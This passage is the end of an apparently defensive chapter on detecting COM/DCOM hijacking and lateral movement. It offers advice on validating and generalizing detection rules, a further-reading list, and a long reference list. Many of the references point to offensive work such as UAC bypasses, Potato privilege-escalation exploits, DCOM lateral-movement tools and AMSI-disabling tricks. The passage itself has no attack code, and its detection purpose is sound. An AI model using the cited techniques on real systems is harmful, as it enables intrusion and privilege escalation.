(section 2.5's discrepancy warning); registry paths and UUIDs age better. ### 6. Validate, then widen Replay the rule against the baseline corpus (false-positive pass), then against the technique's *variants* (true-positive pass: per-user vs machine hive, WOW6432Node path, local vs remote form). Then generalize: a rule on one hijacked CLSID becomes a rule on the *seam* (`InprocServer32` outside System32), and the specific CLSID drops to a threat-intel enrichment. Contribute upstream — the SigmaHQ `registry_set` COM rules and the RPC Firewall rules in this chapter all started as somebody's diff ([15], [16]). ### 7. Further reading - Hunting COM Objects, parts 1–2 — FireEye (2019) — the fleet-scale COM hunting methodology ([32]). - How to Hunt: Detecting Persistence and Evasion with COM — Elastic ([20]). - Utilizing RPC Telemetry — SpecterOps ([5]). - FalconFriday 0xFF05: DCOM/SCM Lateral Movement — FalconForce ([2]). - KnowYourAdversary #111: Black Basta TypeLib Hunting ([57]). - COM Hijacking from a Defender's Perspective — HexaStrike ([68]). --- ## References [1] Sigma Rule: MMC20 Lateral Movement (`proc_creation_win_mmc_mmc20_lateral_movement`) — SigmaHQ via detection.fyi — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ [2] FalconFriday 0xFF05: DCOM/SCM Lateral Movement — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ [3] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ [4] BloodHound: ExecuteDCOM Edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom [5] Utilizing RPC Telemetry — SpecterOps — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5 [6] Stopping Lateral Movement via the RPC Firewall — Zero Networks — https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall [7] RPC Firewall (repository) — Zero Networks — https://github.com/zeronetworks/rpcfirewall [8] KB5004442 — Manage Changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support (2021) — https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-979ed901b716 [9] Microsoft DCOM Hardening Patch (CVE-2021-26414) — Events 10036/10037/10038 — SoftwareToolbox — https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening [10] DCOM Authentication Hardening: What You Need to Know — Microsoft Tech Community — https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154 [11] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ [12] dcomexec.py — impacket (Fortra) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py [13] Abusing DCOM for Yet Another Lateral Movement Technique (mobsync) — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ [14] CAR-2019-04-003 (Squiblydoo) — MITRE Cyber Analytics Repository — https://car.mitre.org/analytics/CAR-2019-04-003/ [15] Sigma — Generic Signature Format for SIEM Systems (rule repository) — SigmaHQ — https://github.com/SigmaHQ/sigma [16] Sigma: `registry_set_persistence_com_hijacking_builtin.yml` — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_builtin.yml [17] Sigma: `registry_set_persistence_com_key_linking.yml` — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml [18] Sigma: `registry_set_treatas_persistence.yml` — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml [19] Elastic Prebuilt Rule: `persistence_suspicious_com_hijack_registry.toml` — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml [20] How to Hunt: Detecting Persistence and Evasion with COM — Elastic — https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com [21] Remote Process Instantiation via DCOM and PowerShell — Splunk Threat Research — https://research.splunk.com/endpoint/d4f42098-4680-11ec-ad07-3e22fbd008af/ [22] Remote Process Instantiation via DCOM and PowerShell Script Block — Splunk Threat Research — https://research.splunk.com/endpoint/fa1c3040-4680-11ec-a618-3e22fbd008af/ [23] Mmc LOLBAS Execution Process Spawn — Splunk Threat Research — https://research.splunk.com/endpoint/f6601940-4c74-11ec-b9b7-3e22fbd008af/ [24] Possible Lateral Movement PowerShell Spawn — Splunk Threat Research — https://research.splunk.com/endpoint/22282a2d-dc19-4b88-ac61-6c86ff92904f/ [25] FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/ [26] WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/ [27] .NET Profiler UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/ [28] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/ [29] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/ [30] Eventvwr UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/ [31] Hijacked and Hidden: New Backdoor and Persistence Technique (TypeLib hijack, Black Basta affiliate) — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/ [32] Hunting COM Objects (two parts) — FireEye (2019) — https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html [33] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/ [34] COM Object Hijacking: The Discreet Way of Persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence [35] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques for Evasion and Persistence — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ [36] COM Objects Hijacking (LiveHunt YARA) — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html [37] Windows Bug Class: Accessing Trapped COM Objects with IDispatch — James Forshaw, Google Project Zero (2025) — https://projectzero.google/2025/01/windows-bug-class-accessing-trapped-com.html [38] Fileless Lateral Movement with Trapped COM Objects (ForsHops) — IBM X-Force (2025) — https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects [39] RemoteMonologue: Weaponizing DCOM NTLM Authentication Coercions — IBM X-Force (2025) — https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions [40] Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol (RemotePotato0) — SentinelOne (2021) — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ [41] Bypass Application Whitelisting Script Protection (Squiblydoo) — Casey Smith / subTee (2016) — https://subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html [42] DotNetToJScript — James Forshaw (2017) — https://github.com/tyranid/DotNetToJScript [43] Disabling AMSI in JScript with One Simple Trick — James Forshaw (2018) — https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html [44] Antimalware Scan Interface (AMSI) — Red Canary — https://redcanary.com/blog/amsi/ [45] Atomic Red Team (T1021.003 / T1546.015 / T1548.002) — Red Canary — https://github.com/redcanaryco/atomic-red-team [46] sysmon-config — SwiftOnSecurity — https://github.com/SwiftOnSecurity/sysmon-config [47] sysmon-modular — Olaf Hartong — https://github.com/olafhartong/sysmon-modular [48] MITRE ATT&CK: T1021.003, T1559.001, T1546.015, T1548.002, T1218.010 — MITRE — https://attack.mitre.org/techniques/T1021/003/ [49] UACME — Defeating Windows User Account Control — hfiref0x — https://github.com/hfiref0x/UACME [50] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e [51] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne (2023) — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/ [52] No More JuicyPotato? Old Story, Welcome RoguePotato! — decoder & splinter_code (2020) — https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/ [53] PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019 — itm4n (2020) — https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ [54] Giving JuicyPotato a Second Chance: JuicyPotatoNG — decoder & splinter_code (2022) — https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/ [55] OleViewDotNet — James Forshaw — https://github.com/tyranid/oleviewdotnet [56] Accelerating Offensive Research with LLMs (alternative trapped-COM classes) — Outflank (2025) — https://www.outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ [57] KnowYourAdversary #111: Black Basta TypeLib Hunting — KnowYourAdversary (2025) — https://www.knowyouradversary.ru/2025/04/ [58] Automating COM/DCOM Vulnerability Research — incendium.rocks — https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/ [59] DCOM Turns 30: Revisiting a Legacy Interface in the Modern Threatscape — hack.lu (2025) — https://d3lb3.github.io/assets/hacklu_2025.pdf [60] Hardening Microsoft Windows 10/11 Workstations — Australian Cyber Security Centre — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf [61] Lateral Movement via DCOM Round 2 (ShellWindows / ShellBrowserWindow) — enigma0x3 (2017) — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ [62] DCOM Lateral Movement Techniques — Cybereason — https://www.cybereason.com/blog/dcom-lateral-movement-techniques [63] I Like to Move It: Windows Lateral Movement Part 2 — DCOM — MDSec (2020) — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ [64] LocalPotato: When Swapping the Context Leads You to SYSTEM — decoder & splinter_code (2023) — https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/ [65] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ [66] Weaponizing Privileged File Writes with the USO Service (Parts 1–2) — itm4n (2019) — https://itm4n.github.io/usodllloader-part1/ [67] Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege (DiagHub) — James Forshaw, Google Project Zero (2018) — https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html [68] COM Hijacking from a Defender's Perspective — HexaStrike — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/